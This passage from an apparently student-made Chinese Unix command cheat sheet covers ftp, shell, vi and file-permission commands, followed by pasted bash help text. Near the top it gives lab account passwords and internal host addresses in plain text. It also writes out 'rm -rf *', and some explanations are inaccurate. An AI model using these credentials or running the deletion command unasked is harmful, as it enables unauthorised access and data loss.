remote-files:传输多个远程文件。 32.mkdir dir-name:在远程主机中建一目录。 33.mls remote-file local-file:同nlist,但可指定多个文件名。 34.mode[modename]:将文件传输方式设置为modename, 缺省为stream方式。    modtime file-name:显示远程主机文件的最后修改时间。 mput local-file:将多个文件传输至远程主机。 newer file-name:如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。   38.nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并存入本地硬盘的local-file。   39.nmap[inpattern outpattern]:设置文件名映射机制, 使得文件传输时,文件中的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。该命令特别适用于远程主机为非UNIX机的情况。   40.ntrans[inchars[outchars]]:设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。   41.open host[port]:建立指定ftp服务器连接,可指定连接端口。   42.passive:进入被动传输方式。   43.prompt:设置多个文件传输时的交互提示。   44.proxy ftp-cmd:在次要控制连接中,执行一条ftp命令, 该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。   45.put local-file[remote-file]:将本地文件local-file传送至远程主机。   46.pwd:显示远程主机的当前工作目录。   47.quit:同bye,退出ftp会话。   48.quote arg1,arg2...:将参数逐字发至远程ftp服务器,如:quote syst.   49.recv remote-file[local-file]:同get。   50.reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输中断处续传。   51.rhelp[cmd-name]:请求获得远程主机的帮助。   52.rstatus[file-name]:若未指定文件名,则显示远程主机的状态, 否则显示文件状态。   53.rename[from][to]:更改远程主机文件名。   54.reset:清除回答队列。   55.restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。   56.rmdir dir-name:删除远程主机目录。   57.runique:设置文件名只一性存储,若文件存在,则在原文件后加后缀.1, .2等。   58.send local-file[remote-file]:同put。   59.sendport:设置PORT命令的使用。   60.site arg1,arg2...:将参数作为SITE命令逐字发送至远程ftp主机。   61.size file-name:显示远程主机文件大小,如:site idle 7200。   62.status:显示当前ftp状态。   63.struct[struct-name]:将文件传输结构设置为struct-name, 缺省时使用stream结构。   64.sunique:将远程主机文件名存储设置为只一(与runique对应)。   65.system:显示远程主机的操作系统类型。   66.tenex:将文件传输类型设置为TENEX机的所需的类型。   67.tick:设置传输时的字节计数器。   68.trace:设置包跟踪。   69.type[type-name]:设置文件传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。   70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 3   71.user user-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous my@email。   72.verbose:同命令行的-v参数,即设置详尽报告方式,ftp 服务器的所有响 应都将显示给用户,缺省为on.   73.?[cmd]:同help.
集合了 所有的 Unix命令大全 登陆服务器时输入 公帐号 openlab-open123 telnet 192.168.0.23 自己帐号 sd08077-you0 ftp工具 192.168.0.202 tools-toolss 老师测评网址 http://172.16.0.198:8080/poll/ 各个 shell 可互相切换 ksh:$ sh:$ csh:guangzhou% bash:bash-3.00$ 一、注意事项 命令和参数之间必需用空格隔开,参数和参数之间也必需用空格隔开。 一行不能超过256个字符;大小写有区分。 二、特殊字符含义 文件名以“.”开头的都是隐藏文件/目录,只需在文件/目录名前加“.”就可隐藏它。 ~/ 表示主目录。 ./ 当前目录(一个点)。 ../ 上一级目录(两个点)。 ; 多个命令一起用。 > >> 输出重定向 。将一个命令的输出内容写入到一个文件里面。如果该文件存在, 就将该文件的内容覆盖; 如果不存在就先创建该文件, 然后再写入内容。 输出重定向,意思就是说,将原来屏幕输出变为文件输出,即将内容输到文件中。 < << 输入重定向。 本来命令是通过键盘得到输入的,但是用小于号,就能够使命令从文件中得到输入。 \ 表示未写完,回车换行再继续。 * 匹配零个或者多个字符。 ? 匹配一个字符。 [] 匹配中括号里的内容[a-z][A-Z][0-9]。 ! 事件。 $ 取环境变量的值。 | 管道。把前一命令的输出作为后一命令的输入,把几个命令连接起来。 |经常跟tee连用,tee 把内容保存到文档并显示出来。 三、通用后接命令符 -a 所有(all)。 -e 所有(every),比a更详细。 -f 取消保护。 -i 添加提示。 -p 强制执行。 -r 目录管理。 分屏显示的中途操作 空格<space> 继续打开下一屏; 回车<return> 继续打开下一行; b 另外开上一屏; f 另外开下一屏; h 帮助; q或Ctrl+C 退出; /字符串 从上往下查找匹配的字符串; ?字符串 从下往上查找匹配的字符串; n 继续查找。 四、退出命令 exit 退出; DOS内部命令 用于退出当前的命令处理器(COMMAND.COM) 恢复前一个命令处理器。 Ctrl+d 跟exit一样效果,表中止本次操作。 logout 当csh时可用来退出,其他shell不可用。 clear 清屏,清除(之前的内容并未删除,只是没看到,拉回上面可以看回)。 五、目录管理命令 pwd 显示当前所在目录,打印当前目录的绝对路径。 cd 进入某目录,DOS内部命令 显示或改变当前目录。 cd回车/cd ~ 都是回到自己的主目录。 cd . 当前目录(空格再加一个点)。 cd .. 回到上一级目录(空格再加两个点)。 cd ../.. 向上两级。 cd /user/s0807 从绝对路径去到某目录。 cd ~/s0807 直接进入主目录下的某目录(“cd ~"相当于主目录的路径的简写)。 ls 显示当前目录的所有目录和文件。 用法 ls [-aAbcCdeEfFghHilLmnopqrRstux1@] [file...] ls /etc/ 显示某目录下的所有文件和目录,如etc目录下的。 ls -l (list)列表显示文件(默认按文件名排序), 显示文件的权限、硬链接数(即包含文件数,普通文件是1,目录1+)、用户、组名、大小、修改日期、文件名。 ls -t (time)按修改时间排序,显示目录和文件。 ls -lt 是“-l”和“-t”的组合,按时间顺序显示列表。 ls -F 显示文件类型,目录“/ ”结尾;可执行文件“*”结尾;文本文件(none),没有结尾。 ls -R 递归显示目录结构。即该目录下的文件和各个副目录下的文件都一一显示。 ls -a 显示所有文件,包括隐藏文件。 文件权限 r 读权限。对普通文件来说,是读取该文件的权限;对目录来说,是获得该目录下的文件信息。 w 写权限。对文件,是修改;对目录,是增删文件与子目录。 (注 删除没有写权限的文件可以用 rm -f ,这是为了操作方便,是人性化的设计)。 x 执行权限;对目录,是进入该目录 - 表示没有权限 形式 - rw- r-- r-- 其中 第一个是文件类型(-表普通文件,d表目录,l表软链接文件) 第2~4个是属主,生成文件时登录的人,权限最高,用u表示 第5~7个是属组,系统管理员分配的同组的一个或几个人,用g表示 第8~10个是其他人,除属组外的人,用o表示 所有人,包括属主、属组及其他人,用a表示 chmod 更改权限; 用法 chmod [-fR] <绝对模式> 文件 ... chmod [-fR] <符号模式列表> 文件 ... 其中 <符号模式列表> 是一个用逗号分隔的表 [ugoa]{+|-|=}[rwxXlstugo] chmod u+rw 给用户加权限。同理,u-rw也可以减权限。 chmod u=rw 给用户赋权限。与加权限不一样,赋权限有覆盖的效果。 主要形式有如下几种 chmod u+rw chmod u=rw chmod u+r, u+w chmod u+rw,g+w, o+r chmod 777( 用数字的方式设置权限是最常用的) 数字表示权限时,各数位分别表示属主、属组及其他人; 其中,1是执行权(Execute),2是写权限(Write),4是读权限(Read), 具体权限相当于三种权限的数相加,如7=1+2+4,即拥有读写和执行权。 另外,临时文件/目录的权限为rwt,可写却不可删,关机后自动删除;建临时目录:chmod 777 目录名,再chmod +t 目录名。 id 显示用户有效的uid(用户字)和gid(组名) 用法 id [-ap] [user] id 显示自己的。 id root 显示root的。 id -a root 显示用户所在组的所有组名(如root用户,是所有组的组员) df 查看文件系统,查看数据区 用法 df [-F FSType] [-abeghklntVvZ] [-o FSType 特定选项] [目录 | 块设备 | 资源] df -k 以kbytes显示文件大小的查看文件系统方式 六、显示文件内容 more 分屏显示文件的内容。 用法 more [-cdflrsuw] [-行] [+行号] [+/模式] [文件名 ...]。 显示7个信息:用户名 密码 用户id(uid) 组id(gid) 描述信息(一般为空) 用户主目录 login shell(登录shell) cat 显示文件内容,不分屏(一般用在小文件,大文件显示不下);合并文件,仅在屏幕上合并,并不改变原文件。 用法 cat [ -usvtebn ] [-|文件] ... tail 实时监控文件,一般用在日志文件,可以只看其中的几行。 用法 tail [+/-[n][lbc][f]] [文件] tail [+/-[n][l][r|f]] [文件] 七、文件/目录的增删 echo 显示一行内容。 touch 如果文件/目录不存在,则创建新文件/目录;如果文件存在,那么就是更新该文件的最后访问时间, 用法 touch [-acm] [-r ref_file] 文件... touch [-acm] [MMDDhhmm[yy]] 文件... touch [-acm] [-t [[CC]YY]MMDDhhmm[.SS]] file... mkdir 创建目录(必须有创建目录的权限) 用法 mkdir [-m 模式] [-p] dirname ... mkdir dir1/dir2 在dir1下建dir2 mkdir dir13 dir4 dir5 连建多个 mkdir ~/games 用户主目录下建(默认在当前目录下创建) mkdir -p dir6/dir7/dir8 强制创建dir8;若没有前面的目录,会自动创建dir6和dir7。 不用-p时,若没有dir6/dir7,则创建失败。 cp 复制文件/目录 cp 源文件 目标文件 复制文件;若已有文件则覆盖 cp -r 源目录 目标目录 复制目录;若已有目录则把源目录复制到目标目录下, 没有目标目录时,相当于完全复制源目录,只是文件名不同。 cp beans apple dir2 把beans、apple文件复制到dir2目录下 cp -i beans apple 增加是否覆盖的提示 mv 移动或重命名文件/目录 用法 mv [-f] [-i] f1 f2 mv [-f] [-i] f1 ... fn d1 mv [-f] [-i] d1 d2 mv 源文件名 目标文件名 若目标文件名还没有,则是源文件重命名为目标文件;若目标文件已存在,则源文件覆盖目标文件。 mv 源文件名 目标目录 移动文件 mv 源目录 目标目录 若目标目录不存在,则源目录重命名;若目标目录已存在,则源目录移动到目标目录下。 rm 删除文件/目录 用法 rm [-fiRr] 文件 ... rm 文件名 删除文件。 rm -r 目录名 删除目录。 rm –f 文件 只要是该文件或者目录的拥有者,无论是否有权限删除,都可以用这个命令参数强行删除。 rm -rf * 删除所有文件及目录 rmdir 删除空目录。只可以删除空目录。 ln 创建硬链接或软链接,硬链接=同一文件的多个名字;软链接=快捷方式 用法 ln [-f] [-n] [-s] f1 [f2] ln [-f] [-n] [-s] f1 ... fn d1 ln [-f] [-n] -s d1 d2 ln file1 file1.ln 创建硬链接。感觉是同一文件,删除一个,对另一个没有影响;须两个都删除才算删除。 ln -s file1 file1.sln 创建软链接。可跨系统操作,冲破操作权限;也是快捷方式。 八、时间显示 date 显示时间,精确到秒 用法 date [-u] mmddHHMM[[cc]yy][.SS] date [-u] [+format] date -a [-]sss[.fff] cal 显示日历 cal 9 2008 显示2008年9月的日历; cal 显示当月的 用法 cal [ [月] 年 ] 九、帮助 man 帮助( format and display the on-line manual pages) 用法 man [-] [-adFlrt] [-M 路径] [-T 宏软件包] [-s 段] 名称 ... man [-] [-adFlrt] [-M path] [-T macro-package] [-s section] name... man [-M 路径] -k 关键字 ... man [-M 路径] -f 文件 ... awk 按一定格式输出(pattern scanning and processing language) 用法 awk [-Fc] [-f 源代码 | 'cmds'] [文件] 十、vi 底行模式 /? 命令模式 i a o 输入模式 vi 的使用方法 1、光标 h 左 j 下 k 上 l 右 set nu 显示行号(set nonu) 21 光标停在指定行 21G 第N行 (G到文件尾,1G到文件头) 如果要将光标移动到文件第一行,那么就按 1G H 屏幕头 M 屏幕中间 L 屏幕底 ^ 或 shift+6 行首 $ 或 shift+4 行尾 Ctrl+f 下翻 Ctrl+b 上翻 2、输入 (输入模式) o 光标往下换一行 O (大写字母o)在光标所在行上插入一空行 i 在光标所在位置的前面插入字母 a 在光标所在位置的后面插入一个新字母 <Esc> 退出插入状态。 3、修改替换 r 替换一个字符 dd 删除行,剪切行 (5dd删除5行) 5,10d 删除 5 至 10 行(包括第 5行和第 10 行) x 删除一个字符 dw 删除词,剪切词。 ( 3dw删除 3 单词) cw 替换一个单词。 (cw 和 dw 的区别 cw 删除某一个单词后直接进入编辑模式,而dw删除词后仍处于命令模式) cc 替换一行 C 替换从光标到行尾 yy 复制行 (用法同下的 Y ,见下行) Y 将光标移动到要复制行位置,按yy。当你想粘贴的时候,请将光标移动到你想复制的位置的前一个位置,然后按 p yw 复制词 p 当前行下粘贴 1,2co3 复制行1,2在行3之后 4,5m6 移动行4,5在行6之后 u 当你的前一个命令操作是一个误操作的时候,那么可以按一下 u键,即可复原。只能撤销一次 r file2 在光标所在处插入另一个文件 ~ 将字母变成大写 J 可以将当前行与下一行连接起来 /字符串 从上往下找匹配的字符串 ?字符串 从下往上找匹配的字符串 n 继续查找 1,$s/旧串/新串/g 替换全文(或者 %s/旧串/新串/g) (1表示从第一行开始) 没有g则只替换一次,加g替换所有 3、存盘和退出 w 存盘 w newfile 存成新文件 wq 存盘再退出VI(或者ZZ或 X) q! 强行退出不存盘 查看用户 users 显示在线用户(仅显示用户名)。 who 显示在线用户,但比users更详细,包括用户名、终端号、登录时间、IP地址。 who am i 仅显示自己,(但包括用户名、端口、登录时间、IP地址;信息量=who)。 whoami 也仅显示自己,但只有用户名(仅显示自己的有效的用户名)。 w 显示比who更多内容,还包括闲置时间、占CPU、平均占用CPU、执行命令。 用法 w [ -hlsuw ] [ 用户 ] su 改变用户,需再输入密码。 用法 su [-] [ username [ arg ... ] ] su - 相当于退出再重新登录。 查找 find 查找文件 用法 find [-H | -L] 路径列表 谓词列表 find / -name perl 从根目录开始查找名为perl的文件。 find . -mtime 10 -print 从当前目录查找距离现在10天时修改的文件,显示在屏幕上。 (注 “10”表示第10天的时候;如果是“+10”表示10天以外的范围;“-10”表示10天以内的范围。) grep 文件中查找字符;有过滤功能,只列出想要的内容 用法 grep -hblcnsviw 模式 文件 . . . 如 grep abc /etc/passwd 在passwd文件下找abc字符 wc 统计 -l 统计行数; -w统计单词数; -c 统计字符数 如 grep wang /etc/passwd|wc -l 统计passwd文件含“wang”的行数 du 查看目录情况 如 du -sk * 不加-s会显示子目录,-k按千字节排序 用法 du [-a] [-d] [-h|-k] [-r] [-o|-s] [-H|-L] [文件...] 进程管理 ps 显示进程。 用法 ps [ -aAdeflcjLPyZ ] [ -o 格式 ] [ -t 项列表 ] [ -u 用户列表 ] [ -U 用户列表 ] [ -G 组列表 ] [ -p 进程列表 ] [ -g 程序组列表 ] [ -s 标识符列表 ] [ -z 区域列表 ] ps 显示自己的进程。 ps -e 显示每个进程,包括空闲进程。 ps -f 显示详情。 ps -ef 组合-e和-f,所有进程的详情。 ps -U uidlist(用户列表) 具体查看某人的进程。 kill pkill sleep jobs 用法 jobs [-l ] fg %n bg %n stop %n 挂起(仅csh能用) Ctrl+C Ctrl+Z 网络链接 ping usage ping host [timeout] usage ping -s [-l | U] [adLnRrv] [-A addr_family] [-c traffic_class] [-g gateway [-g gateway ...]] [-F flow_label] [-I interval] [-i interface] [-P tos] [-p port] [-t ttl] host [data_size] [npackets] ifconfig -a /sbin/ifconfig 查看本机的IP地址 netstat -rn rlogin ftp 帮助文件 [sd0807@localhost ~]$ help GNU bash, version 3.1.17(1)-release (i686-redhat-linux-gnu) These shell commands are defined internally. Type `help' to see this list. Type `help name' to find out more about the function `name'. Use `info bash' to find out more about the shell in general. Use `man -k' or `info' to find out more about commands not in this list. A star (*) next to a name means that the command is disabled. JOB_SPEC [&] (( expression )) . filename [arguments] [ arg... ] [[ expression ]] alias [-p] [name[=value] ... ] bg [job_spec ...] bind [-lpvsPVS] [-m keymap] [-f fi break [n] builtin [shell-builtin [arg ...]] caller [EXPR] case WORD in [PATTERN [| PATTERN]. cd [-L|-P] [dir] command [-pVv] command [arg ...] compgen [-abcdefgjksuv] [-o option complete [-abcdefgjksuv] [-pr] [-o continue [n] declare [-afFirtx] [-p] [name[=val dirs [-clpv] [+N] [-N] disown [-h] [-ar] [jobspec ...] echo [-neE] [arg ...] enable [-pnds] [-a] [-f filename] eval [arg ...] exec [-cl] [-a name] file [redirec exit [n] export [-nf] [name[=value] ...] or false fc [-e ename] [-nlr] [first] [last fg [job_spec] for NAME [in WORDS ... ;] do COMMA for (( exp1; exp2; exp3 )); do COM function NAME { COMMANDS ; } or NA getopts optstring name [arg] hash [-lr] [-p pathname] [-dt] [na help [-s] [pattern ...] history [-c] [-d offset] [n] or hi if COMMANDS; then COMMANDS; [ elif jobs [-lnprs] [jobspec ...] or job kill [-s sigspec | -n signum | -si let arg [arg ...] local name[=value] ... logout popd [+N | -N] [-n] printf [-v var] format [arguments] pushd [dir | +N | -N] [-n] pwd [-LP] read [-ers] [-u fd] [-t timeout] [ readonly [-af] [name[=value] ...] return [n] select NAME [in WORDS ... ;] do CO set [--abefhkmnptuvxBCHP] [-o option] [arg ...] shift [n] shopt [-pqsu] [-o long-option] opt source filename [arguments] suspend [-f] test [expr] time [-p] PIPELINE times trap [-lp] [arg signal_spec ...] true type [-afptP] name [name ...] typeset [-afFirtx] [-p] name[=valu ulimit [-SHacdfilmnpqstuvx] [limit umask [-p] [-S] [mode] unalias [-a] name [name ...] unset [-f] [-v] [name ...] until COMMANDS; do COMMANDS; done variables - Some variable names an wait [n] while COMMANDS; do COMMANDS; done { COMMANDS ; } 输入 man help BASH_BUILTINS(1) BASH_BUILTINS(1) NAME bash, :, ., [, alias, bg, bind, break, builtin, cd, command, compgen, complete, continue, declare, dirs, disown, echo, enable, eval, exec, exit, export, fc, fg, getopts, hash, help, history, jobs, kill, let, local, logout, popd, printf, pushd, pwd, read, readonly, return, set, shift, shopt, source, suspend, test, times, trap, type, typeset, ulimit, umask, una- lias, unset, wait - bash built-in commands, see bash(1) BASH BUILTIN COMMANDS Unless otherwise noted, each builtin command documented in this section as accepting options preceded by - accepts -- to signify the end of the options. For example, the :, true, false, and test builtins do not accept options. : [arguments] No effect; the command does nothing beyond expanding arguments and performing any specified redirections. A zero exit code is returned. . filename [arguments] source filename [arguments] Read and execute commands from filename in the current shell environment and return the exit status of the last command executed from filename. If filename does not contain a slash, file names in PATH are used to find the directory containing file- name. The file searched for in PATH need not be executable. When bash is not in posix mode, the current directory is searched if no file is found in PATH. If the sourcepath option to the shopt builtin command is turned off, the PATH is not searched. If any arguments are supplied, they become the positional parameters when filename is executed. Otherwise the positional parameters are unchanged. The return status is the status of the last command exited within the script (0 if no commands are executed), and false if filename is not found or cannot be read. alias [-p] [name[=value] ...] Alias with no arguments or with the -p option prints the list of aliases in the form alias name=value on standard output. When arguments are supplied, an alias is defined for each name whose value is given. A trailing space in value causes the next word to be checked for alias substitution when the alias is expanded. For each name in the argument list for which no value is supplied, the name and value of the alias is printed. Alias returns true unless a name is given for which no alias has been defined. bg [jobspec ...] Resume each suspended job jobspec in the background, as if it had been started with &. If jobspec is not present, the shell’s notion of the current job is used. bg jobspec returns 0 unless run when job control is disabled or, when run with job con- trol enabled, any specified jobspec was not found or was started without job control. bind [-m keymap] [-lpsvPSV] bind [-m keymap] [-q function] [-u function] [-r keyseq] bind [-m keymap] -f filename bind [-m keymap] -x keyseq:shell-command bind [-m keymap] keyseq:function-name bind readline-command Display current readline key and function bindings, bind a key sequence to a readline function or macro, or set a readline variable. Each non-option argument is a command as it would appear in .inputrc, but each binding or command must be passed as a sepa- rate argument; e.g., ’"\C-x\C-r": re-read-init-file’. Options, if supplied, have the following meanings: -m keymap Use keymap as the keymap to be affected by the subsequent bindings. Accept- able keymap names are emacs, emacs-standard, emacs-meta, emacs-ctlx, vi, vi-move, vi-command, and vi-insert. vi is equivalent to vi-command; emacs is equivalent to emacs-standard. -l List the names of all readline functions. -p Display readline function names and bindings in such a way that they can be re-read. -P List current readline function names and bindings. -v Display readline variable names and values in such a way that they can be re- read. -V List current readline variable names and values. -s Display readline key sequences bound to macros and the strings they output in such a way that they can be re-read. -S Display readline key sequences bound to macros and the strings they output. -f filename Read key bindings from filename. -q function Query about which keys invoke the named function. -u function Unbind all keys bound to the named function. -r keyseq Remove any current binding for keyseq. -x keyseq:shell-command Cause shell-command to be executed whenever keyseq is entered. The return value is 0 unless an unrecognized option is given or an error occurred. break [n] Exit from within a for, while, until, or select loop. If n is specified, break n levels. n must be ≥ 1. If n is greater than the number of enclosing loops, all enclosing loops are exited. The return value is 0 unless the shell is not executing a loop when break is executed. builtin shell-builtin [arguments] Execute the specified shell builtin, passing it arguments, and return its exit sta- tus. This is useful when defining a function whose name is the same as a shell builtin, retaining the functionality of the builtin within the function. The cd builtin is commonly redefined this way. The return status is false if shell-builtin is not a shell builtin command. cd [-L|-P] [dir] Change the current directory to dir. The variable HOME is the default dir. The variable CDPATH defines the search path for the directory containing dir. Alterna- tive directory names in CDPATH are separated by a colon (:). A null directory name in CDPATH is the same as the current directory, i.e., ‘‘.’’. If dir begins with a slash (/), then CDPATH is not used. The -P option says to use the physical directory structure instead of following symbolic links (see also the -P option to the set builtin command); the -L option forces symbolic links to be followed. An argument of - is equivalent to $OLDPWD. If a non-empty directory name from CDPATH is used, or if - is the first argument, and the directory change is successful, the absolute path- name of the new working directory is written to the standard output. The return value is true if the directory was successfully changed; false otherwise. caller [expr] Returns the context of any active subroutine call (a shell function or a script exe- cuted with the . or source builtins. Without expr, caller displays the line number and source filename of the current subroutine call. If a non-negative integer is supplied as expr, caller displays the line number, subroutine name, and source file corresponding to that position in the current execution call stack. This extra information may be used, for example, to print a stack trace. The current frame is frame 0. The return value is 0 unless the shell is not executing a subroutine call or expr does not correspond to a valid position in the call stack. command [-pVv] command [arg ...] Run command with args suppressing the normal shell function lookup. Only builtin com- mands or commands found in the PATH are executed. If the -p option is given, the search for command is performed using a default value for PATH that is guaranteed to find all of the standard utilities. If either the -V or -v option is supplied, a description of command is printed. The -v option causes a single word indicating the command or file name used to invoke command to be displayed; the -V option produces a more verbose description. If the -V or -v option is supplied, the exit status is 0 if command was found, and 1 if not. If neither option is supplied and an error occurred or command cannot be found, the exit status is 127. Otherwise, the exit status of the command builtin is the exit status of command. compgen [option] [word] Generate possible completion matches for word according to the options, which may be any option accepted by the complete builtin with the exception of -p and -r, and write the matches to the standard output. When using the -F or -C options, the vari- ous shell variables set by the programmable completion facilities, while available, will not have useful values. The matches will be generated in the same way as if the programmable completion code had generated them directly from a completion specification with the same flags. If word is specified, only those completions matching word will be displayed. The return value is true unless an invalid option is supplied, or no matches were generated. complete [-abcdefgjksuv] [-o comp-option] [-A action] [-G globpat] [-W wordlist] [-P prefix] [-S suffix] [-X filterpat] [-F function] [-C command] name [name ...] complete -pr [name ...] Specify how arguments to each name should be completed. If the -p option is sup- plied, or if no options are supplied, existing completion specifications are printed in a way that allows them to be reused as input. The -r option removes a completion specification for each name, or, if no names are supplied, all completion specifica- tions. The process of applying these completion specifications when word completion is attempted is described above under Programmable Completion. Other options, if specified, have the following meanings. The arguments to the -G, -W, and -X options (and, if necessary, the -P and -S options) should be quoted to protect them from expansion before the complete builtin is invoked. -o comp-option The comp-option controls several aspects of the compspec’s behavior beyond the simple generation of completions. comp-option may be one of: bashdefault Perform the rest of the default bash completions if the compspec gen- erates no matches. default Use readline’s default filename completion if the compspec generates no matches. dirnames Perform directory name completion if the compspec generates no matches. filenames Tell readline that the compspec generates filenames, so it can per- form any filename-specific processing (like adding a slash to direc- tory names or suppressing trailing spaces). Intended to be used with shell functions. nospace Tell readline not to append a space (the default) to words completed at the end of the line. plusdirs After any matches defined by the compspec are generated, directory name completion is attempted and any matches are added to the results of the other actions. -A action The action may be one of the following to generate a list of possible comple- tions: alias Alias names. May also be specified as -a. arrayvar Array variable names. binding Readline key binding names. builtin Names of shell builtin commands. May also be specified as -b. command Command names. May also be specified as -c. directory Directory names. May also be specified as -d. disabled Names of disabled shell builtins. enabled Names of enabled shell builtins. export Names of exported shell variables. May also be specified as -e. file File names. May also be specified as -f. function Names of shell functions. group Group names. May also be specified as -g. helptopic Help topics as accepted by the help builtin. hostname Hostnames, as taken from the file specified by the HOSTFILE shell variable. job Job names, if job control is active. May also be specified as -j. keyword Shell reserved words. May also be specified as -k. running Names of running jobs, if job control is active. service Service names. May also be specified as -s. setopt Valid arguments for the -o option to the set builtin. shopt Shell option names as accepted by the shopt builtin. signal Signal names. stopped Names of stopped jobs, if job control is active. user User names. May also be specified as -u. variable Names of all shell variables. May also be specified as -v. -G globpat The filename expansion pattern globpat is expanded to generate the possible completions. -W wordlist The wordlist is split using the characters in the IFS special variable as delimiters, and each resultant word is expanded. The possible completions are the members of the resultant list which match the word being completed. -C command command is executed in a subshell environment, and its output is used as the possible completions. -F function The shell function function is executed in the current shell environment. When it finishes, the possible completions are retrieved from the value of the COMPREPLY array variable. -X filterpat filterpat is a pattern as used for filename expansion. It is applied to the list of possible completions generated by the preceding options and argu- ments, and each completion matching filterpat is removed from the list. A leading ! in filterpat negates the pattern; in this case, any completion not matching filterpat is removed. -P prefix prefix is added at the beginning of each possible completion after all other options have been applied. -S suffix suffix is appended to each possible completion after all other options have been applied. The return value is true unless an invalid option is supplied, an option other than -p or -r is supplied without a name argument, an attempt is made to remove a comple- tion specification for a name for which no specification exists, or an error occurs adding a completion specification. continue [n] Resume the next iteration of the enclosing for, while, until, or select loop. If n is specified, resume at the nth enclosing loop. n must be ≥ 1. If n is greater than the number of enclosing loops, the last enclosing loop (the ‘‘top-level’’ loop) is resumed. The return value is 0 unless the shell is not executing a loop when con- tinue is executed. declare [-afFirtx] [-p] [name[=value] ...] typeset [-afFirtx] [-p] [name[=value] ...] Declare variables and/or give them attributes. If no names are given then display the values of variables. The -p option will display the attributes and values of each name. When -p is used, additional options are ignored. The -F option inhibits the display of function definitions; only the function name and attributes are printed. If the extdebug shell option is enabled using shopt, the source file name and line number where the function is defined are displayed as well. The -F option implies -f. The following options can be used to restrict output to variables with the specified attribute or to give variables attributes: -a Each name is an array variable (see Arrays above). -f Use function names only. -i The variable is treated as an integer; arithmetic evaluation (see ARITHMETIC EVALUATION ) is performed when the variable is assigned a value. -r Make names readonly. These names cannot then be assigned values by subsequent assignment statements or unset. -t Give each name the trace attribute. Traced functions inherit the DEBUG and RETURN traps from the calling shell. The trace attribute has no special mean- ing for variables. -x Mark names for export to subsequent commands via the environment. Using ‘+’ instead of ‘-’ turns off the attribute instead, with the exception that +a may not be used to destroy an array variable. When used in a function, makes each name local, as with the local command. If a variable name is followed by =value, the value of the variable is set to value. The return value is 0 unless an invalid option is encountered, an attempt is made to define a function using ‘‘-f foo=bar’’, an attempt is made to assign a value to a readonly variable, an attempt is made to assign a value to an array variable without using the compound assignment syntax (see Arrays above), one of the names is not a valid shell variable name, an attempt is made to turn off readonly status for a readonly variable, an attempt is made to turn off array status for an array variable, or an attempt is made to display a non-exis- tent function with -f. dirs [-clpv] [+n] [-n] Without options, displays the list of currently remembered directories. The default display is on a single line with directory names separated by spaces. Directories are added to the list with the pushd command; the popd command removes entries from the list. +n Displays the nth entry counting from the left of the list shown by dirs when invoked without options, starting with zero. -n Displays the nth entry counting from the right of the list shown by dirs when invoked without options, starting with zero. -c Clears the directory stack by deleting all of the entries. -l Produces a longer listing; the default listing format uses a tilde to denote the home directory. -p Print the directory stack with one entry per line. -v Print the directory stack with one entry per line, prefixing each entry with its index in the stack. The return value is 0 unless an invalid option is supplied or n indexes beyond the end of the directory stack. disown [-ar] [-h] [jobspec ...] Without options, each jobspec is removed from the table of active jobs. If the -h option is given, each jobspec is not removed from the table, but is marked so that SIGHUP is not sent to the job if the shell receives a SIGHUP. If no jobspec is present, and neither the -a nor the -r option is supplied, the current job is used. If no jobspec is supplied, the -a option means to remove or mark all jobs; the -r option without a jobspec argument restricts operation to running jobs. The return value is 0 unless a jobspec does not specify a valid job. echo [-neE] [arg ...] Output the args, separated by spaces, followed by a newline. The return status is always 0. If -n is specified, the trailing newline is suppressed. If the -e option is given, interpretation of the following backslash-escaped characters is enabled. The -E option disables the interpretation of these escape characters, even on systems where they are interpreted by default. The xpg_echo shell option may be used to dynamically determine whether or not echo expands these escape characters by default. echo does not interpret -- to mean the end of options. echo interprets the following escape sequences: \a alert (bell) \b backspace \c suppress trailing newline \e an escape character \f form feed \n new line \r carriage return \t horizontal tab \v vertical tab \\ backslash \0nnn the eight-bit character whose value is the octal value nnn (zero to three octal digits) \nnn the eight-bit character whose value is the octal value nnn (one to three octal digits) \xHH the eight-bit character whose value is the hexadecimal value HH (one or two hex digits) enable [-adnps] [-f filename] [name ...] Enable and disable builtin shell commands. Disabling a builtin allows a disk command which has the same name as a shell builtin to be executed without specifying a full pathname, even though the shell normally searches for builtins before disk commands. If -n is used, each name is disabled; otherwise, names are enabled. For example, to use the test binary found via the PATH instead of the shell builtin version, run ‘‘enable -n test’’. The -f option means to load the new builtin command name from shared object filename, on systems that support dynamic loading. The -d option will delete a builtin previously loaded with -f. If no name arguments are given, or if the -p option is supplied, a list of shell builtins is printed. With no other option arguments, the list consists of all enabled shell builtins. If -n is supplied, only disabled builtins are printed. If -a is supplied, the list printed includes all builtins, with an indication of whether or not each is enabled. If -s is supplied, the output is restricted to the POSIX special builtins. The return value is 0 unless a name is not a shell builtin or there is an error loading a new builtin from a shared object. eval [arg ...] The args are read and concatenated together into a single command. This command is then read and executed by the shell, and its exit status is returned as the value of eval. If there are no args, or only null arguments, eval returns 0. exec [-cl] [-a name] [command [arguments]] If command is specified, it replaces the shell. No new process is created. The arguments become the arguments to command. If the -l option is supplied, the shell places a dash at the beginning of the zeroth arg passed to command. This is what login(1) does. The -c option causes command to be executed with an empty environ- ment. If -a is supplied, the shell passes name as the zeroth argument to the exe- cuted command. If command cannot be executed for some reason, a non-interactive shell exits, unless the shell option execfail is enabled, in which case it returns failure. An interactive shell returns failure if the file cannot be executed. If command is not specified, any redirections take effect in the current shell, and the return status is 0. If there is a redirection error, the return status is 1. exit [n] Cause the shell to exit with a status of n. If n is omitted, the exit status is that of the last command executed. A trap on EXIT is executed before the shell termi- nates. export [-fn] [name[=word]] ... export -p The supplied names are marked for automatic export to the environment of subsequently executed commands. If the -f option is given, the names refer to functions. If no names are given, or if the -p option is supplied, a list of all names that are exported in this shell is printed. The -n option causes the export property to be removed from each name. If a variable name is followed by =word, the value of the variable is set to word. export returns an exit status of 0 unless an invalid option is encountered, one of the names is not a valid shell variable name, or -f is sup- plied with 